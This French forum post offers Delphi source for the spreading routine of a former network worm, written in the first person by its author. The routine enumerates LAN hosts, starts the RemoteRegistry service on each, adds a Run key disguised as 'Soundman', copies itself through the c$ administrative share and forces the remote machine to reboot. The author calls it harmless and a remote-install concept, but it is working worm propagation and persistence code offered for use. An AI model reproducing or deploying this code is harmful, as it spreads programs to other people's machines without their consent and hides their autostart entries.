Cette application vous montre une comment propager une application sur d'autres machines du reseau.
Cette source a été crée à partir d'un ancien "Worms" que j'avais fait, mais je vous rassure ici elle est inofancive telle qu'elle.
Son action principale est d'afficher une MessageBox à l'ecran.
Pour se propager l'application fait plusieurs actions successive qui sont :
- Rechercher les postes;
- Activer sur cette machine le service "Acces au registre a distance";
- Ecrire le programme sur la machine distante en se servant du partage administratif ( c$ );
- Ecrire dans le registre distant une entré pointant sur le programme afin qu'il se lance automatiquement;
- Et reboot la machine distante (afin que le programme se lance);
Je sais on va encore me dire que c'est illégal etc... mais l'idée, et je pense développer çà plus serieusement, est un système d'installation d'applications à distance. Un programme qui s'instal sur un réseau à partir d'un seul emplacement.
De toute façon l'utilisation massive d'API windows dans ce programme font qu'il est inutilisable si vous n'avez pas de droits suffisant sur les machines distantes et son application est limité au reseau local.
Source / Exemple :
function Propagation : Boolean;
var
hEnum : DWORD;
dwResult : DWORD;
cEntries : DWORD;
cbBuffer : DWORD;
Nom : string;
IP : string;
Com : string;
Chemin : string;
I : Integer;
lpnr : PNetResource;
begin
Result := False;
cEntries := $FFFFFFFF;
cbBuffer := 16384;
lpnr := PNETRESOURCE( GlobalAlloc(GPTR, cbBuffer) );
if ( WNetOpenEnum( RESOURCE_CONTEXT, RESOURCETYPE_ANY, 0, lpnr, hEnum ) <> NO_ERROR ) then Exit;
dwResult := WNetEnumResource( hEnum, cEntries, lpnr, cbBuffer );
if (dwResult <> NO_ERROR) then Exit;
Inc( lpnr );
for I := 0 to ( cEntries - 1 ) do
begin
Nom := ExcludeDoubleBackSlach( lpnr^.lpRemoteName );
IP := HostToIP( Nom );
Com := lpnr^.lpComment;
if ( Nom <> '' ) then
begin
AjustePrivileges( Nom );
Chemin := 'c:\spread.exe';
ServiceStart( 'RemoteRegistry', Nom );
Sleep( 2000 );
EcritConnectReg( Nom,
HKEY_LOCAL_MACHINE,
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
'Soundman',
Chemin );
LocalToNetPath( Chemin );
CopieFichier( ParamStr(0), '\\' + Nom + '\' + Chemin );
EteindreLAN( Nom, 'Votre machine va redémarrer ...', True, True, 15 );
Sleep( 2000 );
end;
Inc( lpnr );
end;
WNetCloseEnum( hEnum );
end;
Conclusion :
Notes et commentaires sont les bienvenues ( si on me supprime pas ma source :-D )
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.